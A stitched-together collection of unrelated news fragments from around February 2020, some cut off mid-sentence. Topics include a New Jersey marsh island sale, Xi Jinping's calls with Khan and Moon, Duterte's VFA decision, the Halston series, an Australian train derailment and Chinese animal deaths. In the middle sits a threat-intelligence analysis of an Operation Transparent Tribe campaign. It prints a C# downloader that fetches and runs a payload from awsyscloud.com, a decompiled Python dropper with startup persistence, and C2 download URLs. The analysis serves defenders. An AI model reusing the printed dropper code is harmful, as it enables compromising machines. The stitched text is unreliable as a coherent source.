a spokesperson for New Jerseys Department of Environmental Protection. Hajna laid out a list of the minimum steps the next owner would need to take before building on the island: a coastal wetlands permit, waterfront development permit, a tidelands grant or lease, and a threatened and endangered species review. When asked whether a person could walk around on the island, Fahim said: Yeah, with some big boots you can definitely walk on it. Hes selling it now because he would like to invest in other properties, and he said he doesnt like to keep things for too long. Fahim, who bought the island in 2017, would visit every summer and go fishing around it. He never developed it and said he didnt feel the need to. I guess when you tell people you own an island, people expect sandy beaches, palm trees, but it doesnt have to be, Fahim said. The best part of owning the island is you can go around telling people you own a private island. Tai Menz, a Realtor sales associate at Coastline Realty, who sold the island to Fahim, didnt expect it to be marketed this way. The island was his grandfathers and had been in his family for years. He describes it as meadow grass and salt marsh grass, which he never really walked on. Instead, he and his family would pull their small boats up along the grass of the island and go duck hunting. Its wetlands, Menz said. When it was originally posted, I just thought maybe the state would want to pick it up and, second down the line, a person who duck-hunted. Menz wasnt even sure that his price would sell. There arent a ton of people who dont want to drop $7,000 to shoot some duck. Once he saw the listing, Fahim thought it was an opportunity. He bought it for $7,000, and now hopes to sell it for much more. Theres no real way to appraise that property, so I took advantage of it, he said. I thought putting a $200,000 value on a private island is affordable. He thought the listing, which he said has been up on Private Islands Inc. for about eight months, would get media attention, and it has. But its unclear who is interested in buying this island in the Grassy Sound. No one has really come up and really shown great interest in buying it, Fahim said. But Im pretty sure its going to sell quick. Its getting a lot of attention. Someones going to want it. Thats what Im hoping for. The topics of fossil fuels and climate change have buzzed on campuses across the nation, too, where universities such Georgetown, Stanford, the University of California system and Doane University in Nebraska have divested or said they will do so. Many others have not, including the University of Nebraska Foundation, the University of Iowa and Iowa State University. Board Chairman Michael McCarthy said Thursday night in an email: I have tremendous respect for the Creighton students and admire their interest in our Common Home. They are asking the right, big questions. McCarthy said the board shares their concerns and will determine the right path with Hendricksons leadership. McCarthy is a founder of McCarthy Capital Corp., an Omaha firm engaged in finance and investments. Hendrickson said this week in a written statement to the university that Creighton today would lower its investment exposure in fossil fuels from 8.9% to 5.7%. Creighton last year had an endowment valued at about $587 million, according to a national report on college endowments. Hendricksons statement said his institution has taken a thoughtful, multifacted approach to the complex issue of sustainability. President Xi Jinping checks the treatment of hospitalized patients at the monitoring center and talks to medical staff on duty via a video link at Beijing Ditan Hospital in Beijing, Feb. 10, 2020. [Photo/Xinhua] Xi thanks Pakistani, ROK leaders for support, donations in phone talks China is capable of winning the battle against the novel coronavirus pneumonia outbreak, which cannot undermine the foundation of China's long-term development, President Xi Jinping said on Thursday. Xi made the remark in telephone conversations with Imran Khan, prime minister of Pakistan, and Moon Jae-in, president of the Republic of Korea. In the phone call with Khan, Xi said that the top priority of the Chinese government is to fight the disease, and the situation has developed in a positive direction thanks to the great efforts made by medical workers and people across the nation. China is confident of winning the battle against the disease, and it will minimize the epidemic's impact to achieve the country's economic and social development goals this year, Xi said. China will not only focus on the current battle against the outbreak but also summarize experiences to improve the nation's system for the prevention and control of epidemics and the system for national public health emergency management, Xi said. Noting that China and Pakistan have an all-weather strategic cooperative partnership, Xi said that Pakistan expressed support for China at the very beginning of the outbreak and has offered vital donations to help China fight it. The Pakistani prime minister's call demonstrated that China and Pakistan are true friends that share both happiness and sadness, Xi said. Xi said China will continue to work with Pakistan on the building of the China-Pakistan Economic Corridor and toward continuing their mutual support on major global and regional issues. Khan expressed sincere sympathy for the Chinese people's suffering as a result of the outbreak and spoke highly of the effective measures taken by China. China's measures have effectively prevented the global spread of the virus, so the whole world should thank China and appreciate the country's efforts, Khan said, adding that no other country could do better than China. Khan expressed gratitude for China's help and care for Pakistani people living in China, saying that all people in Pakistan will stand together with the Chinese people no matter what happens. In his conversation with Moon, Xi said that the ROK president's phone call shows the friendship between the two neighboring countries. Since the start of the outbreak, China has taken the strictest prevention and control measures, Xi said, adding that positive signs have developed thanks to these efforts. The disease will not affect the solid foundation of China's long-term stability and development, and China will strive to achieve the country's development goals, Xi said. Xi pointed out that China's strong measures have not only protected the safety and health of the Chinese people but also contributed to global health endeavors. Xi expressed gratitude for the help and support from the government and people of the ROK, saying that China will continue to enhance cooperation with all countries including the ROK in an open and transparent manner to fight the disease. The outbreak's influence on China-ROK people-to-people exchanges is temporary, and the friendship between the two peoples will be strengthened after victory is achieved in the battle against the disease, Xi said. Moon expressed sincere sympathy for the Chinese people's suffering due to the outbreak, and he spoke highly of the great efforts made by China to fight it. Under Xi's leadership, the Chinese people will definitely win this battle, he said. The two countries are close neighbors and China's difficulties are also those of the ROK, said Moon, adding that his country will continue to offer assistance to China and take this opportunity to enhance health cooperation with China. Exclusive: Pakistan and India to armaments. Researchers from Cybaze-Yoroi ZLab gathered intelligence on the return of Operation Transparent Tribe is back 4 years later Introduction The Operation Transparent Tribe was first spotted by Proofpoint Researchers in Feb 2016, in a series of espionages operations against Indian diplomats and military personnel in some embassies in Saudi Arabia and Kazakhstan. At that time, the researchers tracked the sources IP in Pakistan, the attacks were part of a wider operation that relies on multi vector such as watering hole websites and phishing email campaigns delivering custom RATs dubbed Crimson and Peppy. These RATs are capable of exfiltrate information, take screenshot and record webcam streams. This threat actor has vanished for a long period, and only the last month appeared another time probably for the actual tensions between two countries. We noticed that the TTP of the group is almost the same leveraging a weaponized document with a fake certificate of request of an Indian public fund. So, Cybaze-Yoroi ZLab team decided to dive deep into technical analysis. Technical Analysis Hash 662c3b181467a9d2f40a7b632a4b5fe5ddd201a528ba408badbf7b2375ee3553 Threat New Operation Transparent Tribe Campaign Brief Description Malicious macro document of the new Campaign of Transparent Tribe Ssdeep 24576:Nh2axIaansJlyJ1prFnFmbX3ti6iEIb+R9mSXH9tBUnTqHT:Nhfx4nsPyJ1ppnEX3UCICRhXHXe Table 1. Static information about the malicious macro The document presents itself as a request for a DSOP FUND (Defence Services Officers Provident Fund). It is a fund where an officer compulsorily deposits some money to Govt on a monthly basis out of his wages / salary. The Fund is financial planning for defense personnel. The money is kept by the government and in return, a non-permanent profit officially titled as interest is given back to the officers at the end of each year. The DSOP fund scheme has been set up as a welfare measure to the depositors while the wages remain barely meeting ends otherwise. Figure 1: Piece of the malicious document employed in the Op. Transparent Tribe Self-Extracting Macro Analyzing the content of the Excel file, we notice that the file contains all the necessary components to perform the infection: Figure 2: Piece of the malicious macro The macro is not heavily obfuscated. The macro components are hidden as Hex or Decimal strings, which will be combined with each other to unleash the next stage of the infection. Then it is possible to deobfuscate them. Figure 3: Extracted component from the macro The macro creates two folders inside %PROGRAMDATA% path, systemidleperf and SppExtComTel. Figure 4: Extracted files Analyzing these files, we have a vbs script, a C# script and a zip file, inside this archive we found 4 PE artifacts: Figure 5: Content of the systemidleperf.zip file The SilentCMD Module The two dll are legit windows library and are used in support of the malicious behaviour. Instead, the windproc.scr and windprocx.scr files are the compiled version of the utility SilentCMD publicly available on GitHub. SilentCMD executes a batch file without opening the command prompt window. If required, the console output can be redirected to a log file. Figure 6: SilentCMD main routine The SilentCMD utility is used to execute the commands pushed from the C2, and all of them will be executed without showing anything to the user. However, as previously mentioned, it is curious to notice that the malware installs two different variants of the executable, with the only difference in timestamp: Figure 7: Comparison between the two files The Real Time Module The other extracted file is the Realtime.cs file, which is the source of a piece of code written in C#, and it is compiled and run during the execution of the macro. The code is very simple and it has the only purpose to download another component from the internet: using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Net; using System.Text; namespace Realtime { class Program { static void Main(string[] args) { WebClient wc = new WebClient(); wc.DownloadFile(http://www.awsyscloud.com/x64i.scr, @c:\\programdata\\systemidleperf\\x64i.scr); Process proc = new Process(); proc.StartInfo.FileName = Convert.ToString(args[0]); proc.StartInfo.Arguments = /c + Convert.ToString(args[1]); proc.StartInfo.UseShellExecute = false; proc.StartInfo.CreateNoWindow = false; proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; proc.Start(); Environment.Exit(0); //Application.Exit(); /* if (!proc.Start()) { //Console.WriteLine(Error starting); return; }*/ //proc.WaitForExit(); } } } Code snippet 1 The code is really simple, it has the function of downloading the file x64i.scr from the dropurl awsysclou[.com and then saves it into the folder c:\programdata\systemidleperf\. The file is immediately executed through the C# primitives. The X64i.scr File Hash 7b455b78698f03c0201b2617fe94c70eb89154568b80e0c9d2a871d648ed6665 Threat New Operation Transparent Tribe Campaign Brief Description Python stub malware of the new Campaign of Transparent Tribe Ssdeep 196608:jXm2jfTjEzWt7+eW3TAPHULULN3erOAjsjAbpSzZTfuHO0y7:Lm2jfTgWt65U4UL9eCDHzZfyG7 Icon Table 2. Static information about the Pyhton Stub The icon of the executable let us understand that the malware has been forged through the usage of the tool Pyinstaller. It is a tool that permits a user to create a complete self-contained executable starting from a python source code. However, the two main disadvantages of choosing this solution are the high footprint of the executable (reaching more than 7.5MB and this generates a lot of noise inside the system); and the easiness to reverse the executable to obtain the source code. So, after the operation of reversing, the extracted code of the malware is the following: from ctypes import * import socket, time, os, struct, sys from ctypes.wintypes import HANDLE, DWORD import platform import ctypes import _winreg import time import os import platform import binascii import _winreg import subprocess bitstream3 = PAYLOAD_ONE bitstream4 = PAYLOAD_TWO oses = os.name systems = platform.system() releases = platform.release() architectures = platform.architecture()[0] def main(): try: runsameagain() except Exception as e: print str(e) def runsameagain(): global bitstream3 binstr = bytearray(binascii.unhexlify(bitstream3)) if not os.path.exists(c:\programdata\SppExtComTel): os.makedirs(c:\programdata\SppExtComTel) WriteFile(c:\programdata\SppExtComTel\SppExtComTel.scr,binstr); bootup() subprocess.Popen([c:\programdata\SppExtComTel\SppExtComTel.scr, brilliance]) def rundifferentagain(): global bitstream4 binstr = bytearray(binascii.unhexlify(bitstream4)) if not os.path.exists(c:\programdata\SppExtComTel): os.makedirs(c:\programdata\SppExtComTel) WriteFile(c:\programdata\SppExtComTel\SppExtComTel.scr,binstr); bootup() subprocess.Popen([c:\programdata\SppExtComTel\SppExtComTel.scr, brilliance]) def Streamers(): try: rundifferentagain() return 1 except Exception as e: print str(e) def WriteFile(filename,data): with open(filename,wb) as output: output.write(data) def bootup(): try: from win32com.client import Dispatch from win32com.shell import shell,shellcon dpath = c:\programdata\SppExtComTel #print before Start_path = shell.SHGetFolderPath(0, shellcon.CSIDL_STARTUP, 0, 0) com_path = os.path.join(Start_path, SppExtComTel.lnk) target = os.path.join(dpath,SppExtComTel.scr) wDir = dpath icon = os.path.join(dpath, SppExtComTel.scr) shell = Dispatch(WScript.Shell) shortcut = shell.CreateShortCut(com_path) shortcut.Targetpath = target shortcut.WorkingDirectory = wDir shortcut.IconLocation = icon shortcut.save() #print there #return True except Exception, e: print str(e) if __name__ == __main__: try: #print oses #print systems #print releases #print architectures if .py not in sys.argv[0]: #sys.exit() #print nothign to do if systems == Windows and releases == 7: main() elif systems == Windows and (releases == 8.1 or releases == 8): Streamers() elif systems == Windows and releases == 10: #print Please use a 64 bit version of python #print entering streamers Streamers() else: Streamers() except Exception as e: print str(e) Code snippet 2 The python code is very simple to analyze and to explain. The first operation is to declare two global variables, bitstream3 and bitstream4. They are the hexadecimal representation of two PE files, that will be deepened in the next sections. These two files are chosen according to the Windows OS version, as visible at the bottom of the code. After that, the script writes the desired payload into the folder c:\programdata\SppExtComTel\ and immediately executed it with the parameter brilliance. After that, the malware guarantees its persistence through the creation of a LNK file inside the Startup folder. Figure 8: Persistence mechanism The RAT Figure 9: Static information about the Rat As previously stated, the malware payload is the core component of the malware implant. As shown in the above figure, the malware is written in .NET framework and the creation date back to 29 Jan 2020. It is the date of the beginning of the malware campaign, also demonstrated by the registration records of the C2. The malware consists of a modular implant that downloads other components from the C2. The first operation is to provide to the C2 a list of the running processes on the victim machine: Figure 10: C2 communication The method used to send the information to the C2 is the following: Figure 11: C2 communication routine After that, the malware loops in a cycle and waits for some commands coming from the C2: Figure 12: Routine for the download of new modules When the C2 sends some commands to instruct the bot, the malware downloads and executes other two components, which are two DLLs downloaded from the following URLs: http[://awsyscloud[.com/E@t!aBbU0le8hiInks/B/3500/m1ssh0upUuchCukXanevPozlu[.dll http[://awsyscloud[.com/E@t!aBbU0le8hiInks/D/3500/p2ehtHero0paSth3end.dll The first DLL, once executed, has been renamed in indexerdervice.dll. This executable has got a sophisticated encryption method of communication with the C2: Figure 13: Evidence of the decrypting routine of the certificate The above screen shows that the malware requests for an RSA key, which has to be validated by the highlighted text. If the check is positive, the malware can go on to its malicious actions, such as sending of information: Figure 14: Sending routine of the malware The second malware module is a simple DLL having the purpose to download other components from the dropURL and then install it: Figure 15: Evidence of the hard-coded AES key The downloaded code has been encrypted through the Rijndael algorithm with a hard-coded key. Conclusion The Transparent tribe is back with a new campaign after several years of (apparently) inactivity. We can confirm that this campaign is completely new, relying on the registration record of the C2 that dates back to 29 January 2020. The decoy document presents itself as a request for a DSOP FUND (Defence Services Officers Provident Fund) a providence fund for official and military personnel, confirming the espionage and counterintelligence character of this campaign. At last, we have no certainty that this campaign has been inactive for 4 years, it may be that it acted quietly, but, now the cyber criminal group is back in view of todays tensions between the two countries. Additional technical details, including Indicators of Compromise and Yara Rules, are reported in the analysis published by ZLab available here: Pierluigi Paganini (SecurityAffairs hacking, Operation Transparent Tribe) Philippine President Rodrigo Duterte delivers a speech during a ceremony at the Malacanang Palace in Manila, Philippines, on July 17, 2017. (Ted Aljibe/AFP via Getty Images) Philippines Duterte Not Open to Military Pact With China: Spokesman Philippine President Rodrigo Duterte brushed off the possibility of forming a military alliance with China, just over a week after he announced the termination of a 2-decade-old Visiting Forces Agreement with the United States (VFA), his spokesperson said on Feb. 21. Duterte decided to pull the plug on the troop rotation pact with the United States on Feb. 11, to enable the Philippines to be more independent in its relations with other countries, his spokesman Salvador Panelo said. When asked if the president would consider seeking a defense treaty with Beijing, Panelo said Duterte is not interested in forging military pacts with other nations. No, the spokesman said, reported ABS-CBN News. He previously said Duterte would not entertain any initiative from the U.S. government to salvage the VFA. Neither will he accept any official invitation to visit the United States, Panelo said last week. The VFA is important to the overall U.S.-Philippines alliance and sets out rules for U.S. soldiers to operate in the Philippines, a former U.S. territory. It underpins what Washington has called an ironclad relationship despite Dutertes complaints about U.S. hypocrisy, ill-treatment, and aging weapons. Duterte says the United States uses the pacts to conduct clandestine activities like spying and nuclear weapons stockpiling, which he says risk making the Philippines a target for Chinese aggression. The decision to terminate the agreement was sparked by the revocation of a U.S. visa held by Ronald dela Rosa, a former police chief who led Dutertes bloody war on drugs. Panelo said the cancellation of dela Rosas visa was the last straw that broke the camels back. Panelo also said Dutertes decision was a consequence of U.S. legislative and executive actions that bordered on assaulting our sovereignty and disrespecting our judicial system. Duterte pressed ahead with the termination despite a Senate hearing on the VFA earlier this month during which his senior generals and defense and foreign ministers spoke in favor of it. U.S. Defense Secretary Mark Esper called the decision unfortunate and said it would be a move in the wrong direction at a time when Washington and its allies were trying to press China to abide by international rules of order in Asia. News of its termination has raised concerns it could damage Washingtons future interests in maintaining an Asia-Pacific troop presence amid security concerns about China and North Korea. Reuters contributed to this report. He's set to play America's first celebrity fashion designer in new series Simply Halston. And Ewan McGregor looked every inch the brooding artist as he prowled downtown New York in a black leather trenchcoat while filming the drama on Thursday. The actor, 48, cut an intense figure as the renowned fashion designer, wearing head to toe black. Intense: Ewan McGregor, 48, looked every inch the brooding artist as he prowled downtown New York in a black leather trenchcoat while filming for Halston on Thursday Ewan stepped into character in a pair of smart black slacks and a black jersey worn over a black shirt with an oversize wing tip collar. Father of four Ewan looked suitably stylish in the role, completing the look with black dress shoes while his feathered brown hair brushed his shoulders in gentle curls. Ewan struck a pensive pose while he puffed on a cigarette during the scene in which his character Halston frantically hunts down modela to showcase his designs. Hippy Chicks: Halston (played by Ewan) takes in the eastern print kaftans and Mary Quant dresses of the 1970s era as he selects girls to model his new collection Hippy Chicks: Halston (played by Ewan) takes in the eastern print kaftans and Mary Quant dresses of the 1970s era as he selects girls to model his new collection In his role as the trailblazing fashionista, Ewan surveyed passers by who were all decked out in the style of the 1970's decade. Halston takes in the eastern print kaftans and Mary Quant dresses to select girls to model his new collection. The Netflix series is based upon Steven Gaines book Simply Halston: The Untold Story which was published in 1993. Black magic: The Trainspotting star cinched in his waist with a black leather belt, an ornate silver buckle the only speck of colour on the striking black ensemble Gaines said of the designer's wild sex life: 'Being trash was venerated. The trashier you could be, the more you could get laid, the more drugs you could take.' The author went on to detail how Studio 54 co-owner Steve Rubell would hand out quaaludes during Halston's wild parties in his lavish New York pad, and how the designer would host man-on-man orgies alongside his on-again-off-again partner Victor Hugo. People watching: Ewan struck a pensive pose while he puffed on a cigarette during the scene in which his character Halston frantically hunts down model to showcase his designs However, Halston's life of excess soon took its toll, as he tested positive for AIDS in 1988 and tragically died in 1990, in San Francisco Ewan will be portraying the show's eponymous star while Rory Culkin, 30, who is set to portray filmmaker Joel Schumacher in the series. The film follows Halston in various different stages of his life, from aspiring designer to fashion icon who attended A List events with Liza Minnelli. The riotous biography has been adapted for television by screenwriter Ryan Murphy who's previous works include Glee and American Horror Story. People watching: Ewan struck a pensive pose while he puffed on a cigarette during the scene in which his character Halston frantically hunts down model to showcase his designs Ryan took to Instagram earlier this week to share a first look teaser of the upcoming programme, which started production on Tuesday. In the video, Ewan transformed into Halston in various different stages of his life and sported multiple hairstyles. His character was surrounded by various model, muses and mannequins who were all modelling his designs. Ryan penned alongside the video: 'After a long 20 years of twists and turns, the limited series HALSTON starring the fantastic Ewan McGregor began production today. 'I am so proud of our director and leader Dan Minahan, and Christine Vachon of Killer Films. I am thrilled to be producing this great and meaningful show with them and Alexis Martin Woodall and Pamela Koffler. Fashionable: The film follows Halston in various different stages of his life, and given his look on set it appeared that Ewan was shooting scenes in 1971 (Halston pictured right that year) 'Cast list below. Ewan McGregor as HALSTON Rory Culkin as JOEL SHUMACHER Rebecca Dayan as ELSA PERETTI David Pittu as JOE EULA Krysta Rodriguez as LIZA MINNELLI Sullivan Jones as ED AUSTIN Gian Franco Rodriguez as VICTOR HUGO.' Halston, real name Roy Halston Frowick, enjoyed a meteoric rise to fame in the 70s as he became the designer of choice, and confidante, to some of the most famous women in Hollywood. The designer began his career in Chicago, and designed the pillbox hat that Jackie Kennedy wore during her husband's inauguration in 1960. Moving to New York in 1966, the designer made his first ready-to-wear line, which led to him becoming one of the country's most influential fashion designers. He jumped in his car and rushed to the scene, not knowing quite what to expect when he reached the stretch of track just out of town. When he heard it was a passenger train which had left Central Station in Sydney about 12 hours earlier, he braced for the worst case scenario. Police inspectors at the scene on Friday. Credit:AAP "We thought wed be dealing with more fatalities than what actually occurred," he says. "Its unfortunate that it was two deaths but it could have been 153." The Melbourne to Sydney line has always had complications. For more than 100 years, passengers were forced to change trains at Albury on the border until a single-track standard-gauge line was built. When that happened in 1962, it began an exciting new era of non-stop trains linking the rival cities. That was followed with promises of a fast rail network which would bring Australia into line with places like Europe and Japan. With fast rail as far off as ever, passengers who take the journey through Benalla, Wagga Wagga, Junee and Goulburn are often plagued by delays due to conditions on the track. On this night, tempers on board were frayed leading up to the crash. A recent signal box fire not far from the crash site had added more than 60 minutes to the trip from Albury alone. Loading Staff were as frustrated as the passengers by what was happening. They encouraged complaints to management so something might be done. "When I got on there was evidently people who were very angry, demanding a refund," says Estelle Cooper, who boarded the train at Albury. "There was a lot of dissatisfaction during the whole trip." Near Seymour, there was yet another delay, as a voice came over the PA to say the train would be stopped for about 40 minutes. About 15 minutes after the train started moving again, it crashed. Ms Cooper, 76, chose to take the train to remember her "long lost youth", when she caught the Southern Aurora train from Melbourne to Sydney. The derailed train. Travelling to Melbourne to see her son, she was sitting in seat 17 in passenger car B towards the front of the train. She had kept herself busy doing the crossword and reading. "Im not used to travelling on trains but it had been a rather rough bumpy ride," she says. "And all of a sudden the train was swaying from side to side and we realised it had come off the tracks." The person sitting next to Ms Cooper fell out of her chair and into the corridor. In the same carriage was Mr Ashburner, the retired statistician who had joined the trip at Yass Junction in NSW. A minute earlier he was eating a pie and listening to an audiobook, then he looked up to see baggage shooting along in the overhead racks. "As soon as we came to rest, things quietened a lot," he says. "Then it was people checking on each other." As passengers stumbled off the train, emergency services started arriving, including SES, firefighters, police and paramedics. "The first initial page there was nothing to say it was a freight train or passenger train," says Mr Anderson from the Wallan CFA. Passengers are helped off the train. "In my mind I thought we would be there late into the next morning with an incident like that." In the end, the number of casualties was far lower than emergency services anticipated. Aside from the two deaths, eleven people were taken to hospital with minor injuries. Loading About half an hour after the train derailed, about 100 shaken passengers began arriving at a nearby BP service station on the Hume Freeway, about 200 metres away. There was a chill in the air that wouldn't have been out of place in June, rather than February. Confused by what had happened, the passengers were told by police that replacement buses would be coming to collect them. Some were being triaged in the carpark. By 11pm, they had left. "They were just really frightened, no one came in who was injured," a worker says. "They just wanted to sit down, charge their phones and get food and coffee." Finley Arkless had intended to drive down to Melbourne to see some friends until his Subaru Impreza broke down. Emergency services were at the scene on Friday. Credit:Paul Jeffers Sitting in a window seat on the train, he was joking with the woman opposite about what they could ask for as compensation for the delays. "Then all of a sudden the train just started rattling and it all happened," the 21-year-old chef says. The teenager charged with murdering Cameron Blair on Bandon Road in Cork appeared at the childrens court in Cork again where it emerged that Gardai were ready to send a file to the Director of Public Prosecutions. Inspector Brian ODonovan said gardai were sending a file on the case to the DPP and it should be with the DPP by Monday. Judge Mary Dorgan remanded the accused continuing detention to Oberstown Detention centre in Dublin for a further week and ordered him to appear again at the juvenile hearing of Cork District Court. Defence solicitor, Eddie Burke, said he had previously requested a psychological assessment of his client but the request may have been inadvertently directed to Oberstown. Judge Dorgan noted that there was a letter on file from Oberstown in relation to the request and said she would now order that the request for a report be made to the Forensic Mental Health Service to carry out a psychological assessment of the boy. The teenager appeared at the in-camera hearing for juvenile cases in Cork District Court. The 17-year-old, who cant be named because he is a juvenile, was brought before the court today charged with the murder of 20-year-old Cameron Blair on January 16. Mr Blair, whose funeral took place in Bandon, was a second-year Chemical Engineering student at Cork Institute of Technology. He died at Cork University Hospital on January 16 after being stabbed in the neck while attending a house party on the Bandon Road. The juvenile was brought before a special sitting of Cork District Court three weeks ago when he was first charged with the murder of Cameron Blair at Bandon Road, Cork, on January 16. Det Garda Rory OConnell gave evidence of arrest charge and caution and told the court that the accused made no reply to the single charge when it was put to him after caution. Delhi Minister Gopal Rai on Friday visited an air quality monitoring station established in association with Washington University for undertaking real-time source apportionment study. Talking to reporters during his visit to the model station at Major Dhyan Chand National Stadium, Rai said if it is a success, it can be replicated across the national capital. The minister said the government has join hands with Washington University to have source apportionment study to obtain data on real-time concentrations of different sources of pollution. The study will also highlight the contribution of various gases, waste generation and local burning which are the primary factors in air pollution. "The interim report will be submitted by the university next month and the model will be functional by June 2020," he said. He said the government would launch a targeted campaign based on the findings of the reports, which will help the government identify the real sources of pollution. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi: Supreme Court-appointed mediators Sanjay Hedge and Sadhana Ramachandran on Thursday (February 20) interacted with the protesters at Shaheen Bagh and told them that their right to protests was sacrosanct, but at the same time, the protest should not cause inconvenience to others. "Supreme Court is looking into a fact in a broader sense that the Shaheen Bagh protest should be remembered as a peaceful one. I believe if we solve the issue mindfully and in a civilized manner. You continue with the right to protest but the protest should be held where it doesn`t cause any problem to other people," senior advocate Sanjay Hegde told the protesters. Thousands of people have been staging a sit-in protest at Delhi`s Shaheen Bagh area since mid-December last year against the Citizenship Amendment Act (CAA) and the proposed National Register of Citizens (NRC). They fear that the two laws in combination would deprive a large section of the Muslim population of their citizenship rights. Speaking to the protesters, Sadhana Ramachandran said that the Citizenship Amendment Act has already become a law and its validity can be examined by the Supreme Court. "We are here to think and talk mutually to resolve the matter. Yesterday, we got the blessings of Daadiya. We received a lot of love from sisters and daughters. If a country has such women, then no one can harm the country`s position. "On the blocking of the road, a plea was filed. Sanjay and I want that Shaheen Bagh should remain forever. Your protest in Shaheen Bagh should not cause problems to the public. We are the citizens of this country and we should come to a conclusion mutually. We understand your pain and demands," Ramachandran said. She added that people`s right to peaceful protest cannot be questioned and the protest should continue. She stated, "You need to understand the CAA and NRC matters have reached the Supreme Court. The CAA has already become an Act on which a lot of questions have been raised. In that case, no one can tell the result whether SC will accept your demands or not, but arguments will definitely take place." She underlined that the mediators were trying their best to reach a solution and that the solution should emerge from the Shaheen Bagh area itself. "There is not a problem which has does not have a solution," Hegde said. "We urged protestors to come up with creative solutions to the traffic situation, while simultaneously protecting their right to protest," Hegde said after meeting the protesters. "We are happy that Delhi Police has cooperated with our suggestions and the usage of some roads may soon be restored, especially for commuters going towards Faridabad. We will continue to meet the protestors, hopefully in a more organised manner," he said. The Supreme Court had on Monday appointed senior lawyers Sanjay Hegde and Sadhna Ramachandran and former chief information commissioner Wajahat Habibullah to go and talk to protesters at Shaheen Bagh area to convince them to hold the agitation at an alternative site. The apex court has fixed the matter for further hearing on February 24. Farmer Wants a Wife star Matt Goyder has spoken publicly for the first time since being charged with two child pornography offences. The helicopter pilot, 29, was charged last week for allegedly possessing and distributing child exploitation material between January and February 2020. Goyder's lips were trembling as he spoke to reporters outside Perth Magistrates Court on Thursday. 'I am seeking help to address my issues, including my substance abuse,' he told Channel 7 News. 'At this stage, I have no further comment and place myself at the mercy of the courts.' Farmer Wants a Wife star Matt Goyder, who is charged with possessing and distributing child exploitation material, said he is 'seeking help to address my issues, including my substance abuse' Goyder was supported by Peter Lyndon, who founded rehab centre Shalom House. The Perth man is taking part in a five-stage rehabilitation program with the centre, which could take up to two and a half years. Goyder could face up to 10 years in jail over the charges. Last week, officers swooped on accommodation in East Perth where Goyder was staying, and seized several mobile phones and electronic devices. He was charged with possessing child exploitation material, which carries a maximum penalty of seven years' imprisonment, and distributing child exploitation material, which has a maximum penalty of 10 years behind bars. Goyder, who currently has no fixed address, was a helicopter pilot at Bonney Downs Station in the Pilbara region. He was arrested by the WA Joint Anti-Child Exploitation Team, which includes officers from the WA Police Force and Australian Federal Police. Police say they are conducting further analysis of the seized devices. Goyder shot to fame in 2016 after finding love with ex-Zoo Weekly model April Vaughan on the Channel Nine show Goyder shot to fame in 2016 after finding love with ex-Zoo Weekly model April Vaughan on the Channel Nine show. The relationship broke up shortly after filming ended and Ms Vaughan failed to show up for the after party. Goyer became a Lifeline ambassador after he spoke out about his battles with anxiety, depression and PTSD. A New Jersey auction house is offering for sale a copy of the House of Representatives impeachment report signed by President Trump himself, and the bidding war could reach an astounding $40,000 for the historical item. Goldin Auctions in Runnemede says that Trump signed a copy of the documents in the middle of a campaign rally in Battle Creek, Michigan, on December 18 - the same night that the president was formally impeached. As of Friday afternoon, the leading bid for the autographed report stood at $26,000. The auction ends on Saturday night at 10pm Eastern Standard Time. An autographed copy of the House Democrats' impeachment report signed by President Trump himself is up for auction Goldin Auctions, an auction house based in Runnemede, New Jersey, says it obtained the autographed report from Jonathan Moore Moore told the auction house that Trump happily signed the report during the president's rally in Battle Creek, Michigan, on December 18 - hours after the House voted to formally impeach him Goldin Auctions says that it obtained the signed copy from Jonathan Moore, who was at Trumps rally in Battle Creek. Moore told Goldin Auctions in a letter of provenance that the president happily complied when he asked him to sign the documents. A letter of provenance is a document that certifies a products authenticity as well as its history of ownership. According to Goldin Auctions, Moore also obtained two letters from two separate companies - Beckett Authentication and PSA/DNA - confirming the authenticity of the signed document. Ken Goldin, the owner of Goldin Auctions, told DailyMail.com that he was told about somebody within the Republican Party who has access to meet-and-greets. He said he received an email indicating that the signed report could be made available for his auction house if he wanted it. This is the most historical item that he ever will sign, Goldin told DailyMail.com He signed his own impeachment document on the day he was impeached. It's truly a unique piece of American history. Goldin said he believes the item could fetch up to $40,000. I'm not a Democrat or a Republican, I'm a capitalist, he said. STR/AFP via Getty Images More than 100 wild animals were found dead in a Chinese megacity and tests show that they were poisoned by the disinfectant that's being used to combat the coronavirus. At least 17 species of animals, including wild boar, weasels, and blackbirds, were affected by the mass die-off. Nanchong Stray Animal Rescue claims that authorities are killing domesticated animals outright amid fears that they can spread the coronavirus. Animal activists shared distressing footage on Weibo: bloodied animals, a man hitting a dog with a stick, and an officer poking a lifeless dog. Visit Business Insider's homepage for more stories. Animals are the latest victims of the coronavirus crisis in mainland China. Amid a scramble to control the spread of COVID-19, Chinese authorities believe, based on samples and tests, that at least 135 wild animals were poisoned by disinfectants being used to curb the illness, United Press International said based on reports from China's state-owned news agency Xinhua. The mass die-off was reported in the megacity of Chongqing, in southwest China, which, in 2016, was home to over 30 million people. At least 17 species of animals, including wild boar, weasels, and blackbirds, have been affected, according to the Chongqing Forestry Bureau. Tests have shown that the animals didn't die of any diseases such as coronavirus or bird flu, UPI said. They will be buried in disinfected sites. Chinese state media said Chongqing is rounding up an estimated 5,300 forest rangers to monitor wildlife in the area. They will be accompanied by 200 "full-time supervisors," Xinhua reported, although it's unclear what they will be doing. Pets aren't being spared either This may have been an unintended consequence of an official policy but animal rights activists with the Nanchong Stray Animal Rescue claim that authorities are killing domesticated animals outright amid fears that they can spread the coronavirus. Story continues Officers in the Sichuan Province are allegedly knocking on people's doors and ordering residents to hand over their pets, while people beg for their companions to be spared, Metro UK reported. The group has accused Chinese authorities of killing the animals within minutes of getting their hands on them. Bloodied animals are in the back of a truck in this picture shared by an animal activist on Weibo. Nanchong Stray Animal Rescue/Weibo An activist shared several distressing images on Weibo: bloodied animals in a truck, a person hitting a dog with a wooden stick and an officer prodding a dog that was lying dead on the side of the road while people looked on. Local officials have denied the accusations, saying animals were only killed if they had bitten anyone. Metro UK also reported that residents of Hubei province where the COVID-19 outbreak originated were ordered to "deal with" their pets within five days. Animals weren't allowed outside people's homes and would be caught and killed, if they were found. These measures were also enforced in Beijing, Tianjin, Shandong, Hebei, and Shanghai. Amid fears that animals can spread coronavirus, Nanchong Stray Animal Rescue shared an image on Weibo in which an officer is seen prodding a lifeless dog. Nanchong Stray Animal Rescue/Weibo Li Lanjuan, a professor and member of China's National Health Commission, sparked these steps by warning people to quarantine pets if they had come in contact with someone 